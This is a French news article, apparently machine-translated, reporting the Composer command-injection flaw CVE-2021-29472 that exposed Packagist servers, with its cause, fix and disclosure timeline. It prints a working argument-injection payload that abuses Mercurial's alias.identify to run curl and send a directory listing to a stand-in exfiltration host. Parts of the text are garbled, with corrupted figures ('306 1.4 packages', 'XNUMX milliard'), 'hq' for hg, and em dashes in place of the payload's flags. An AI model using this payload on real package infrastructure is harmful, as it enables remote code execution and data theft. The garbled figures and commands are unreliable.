Vulnérabilité dans le gestionnaire de packages Composer permettant de compromettre le référentiel PHP Packagist

Une vulnérabilité critique (CVE-2021-29472) a été identifiée dans le gestionnaire de dépendances Composer qui permet d'exécuter des commandes arbitraires sur le système lors du traitement d'un package avec une valeur URL spécialement formatée qui spécifie l'adresse de téléchargement du code source. Le problème se produit dans les composants GitDriver, SvnDriver et HgDriver utilisés lors de l'utilisation des systèmes de contrôle de source Git, Subversion et Mercurial. La vulnérabilité a été résolue dans les versions 1.10.22 et 2.0.13 de Composer.

Il est spécifiquement noté que le problème affectait principalement le référentiel de packages par défaut de Composer, Packagist, qui contient 306 1.4 packages pour les développeurs PHP et sert plus de XNUMX milliard de téléchargements par mois. L'expérience a montré que s'ils connaissaient le problème, les attaquants pouvaient prendre le contrôle de l'infrastructure Packagist et intercepter les informations d'identification des responsables ou rediriger les téléchargements de packages vers un serveur tiers, organisant ainsi la livraison de variantes de packages avec des modifications malveillantes pour remplacer une porte dérobée. pendant le processus d’installation des dépendances.

Le danger pour les utilisateurs finaux se limite au fait que le contenu de composer.json est généralement déterminé par l'utilisateur et que des liens sources sont transmis lors de l'accès à des référentiels tiers, qui sont généralement dignes de confiance. Le coup principal est tombé sur le référentiel Packagist.org et le service Private Packagist, qui a appelé Composer avec le transfert des données reçues des utilisateurs. Les attaquants pourraient exécuter leur code sur les serveurs Packagist en plaçant un package spécialement conçu.

L'équipe Packagist a corrigé la vulnérabilité dans les 12 heures suivant le signalement de la vulnérabilité. Les chercheurs ont informé en privé les développeurs de Packagist le 22 avril et le problème a été résolu le même jour. Une mise à jour publique de Composer corrigeant la vulnérabilité a été publiée le 27 avril, avec des détails révélés le 28 avril. Un audit des journaux sur les serveurs Packagist n'a révélé aucune activité suspecte liée à la vulnérabilité.

Le problème est dû à un bug dans le code de validation d'URL dans le fichier racine composer.json et dans les liens de téléchargement source. L'erreur est présente dans le code depuis novembre 2011. Packagist utilise des couches spéciales pour organiser le chargement du code sans être lié à un système de contrôle de source spécifique, qui sont exécutés en appelant « fromShellCommandline » et en passant des arguments de ligne de commande. Par exemple, pour git, la commande "git ls-remote -heads $URL" est appelée, où l'URL est traitée à l'aide de la méthode "ProcessExecutor::escape($url)", échappant aux constructions potentiellement dangereuses telles que "$(. ..)" ou "` ...`".

Le cœur du problème est que la méthode ProcessExecutor::escape n'a pas échappé à la séquence « - », ce qui permettait de spécifier tout paramètre d'appel supplémentaire dans l'URL. Un tel échappement manquait dans les pilotes GitDriver.php, SvnDriver.php et HgDriver.php. L'attaque GitDriver.php a été gênée par le fait que la commande « git ls-remote » ne prenait pas en charge la spécification d'arguments supplémentaires après le chemin. Une attaque sur HgDriver.php s'est avérée possible en passant le paramètre « --config » à l'utilitaire « hq », qui permet d'organiser l'exécution de n'importe quelle commande en manipulant le paramètre « alias.identify ». Par exemple, pour télécharger et exécuter du code en exécutant l'utilitaire curl, vous pouvez spécifier : —config=alias.identify=!curl http://exfiltration-host.tld —data « $(ls -alh) »

En publiant un package de test avec une URL similaire à Packagist, les chercheurs ont vérifié qu'après la publication, leur serveur avait reçu une requête HTTP de l'un des serveurs Packagist d'AWS contenant une liste de fichiers dans le répertoire actuel.

Source: opennet.ru

Ajouter un commentaire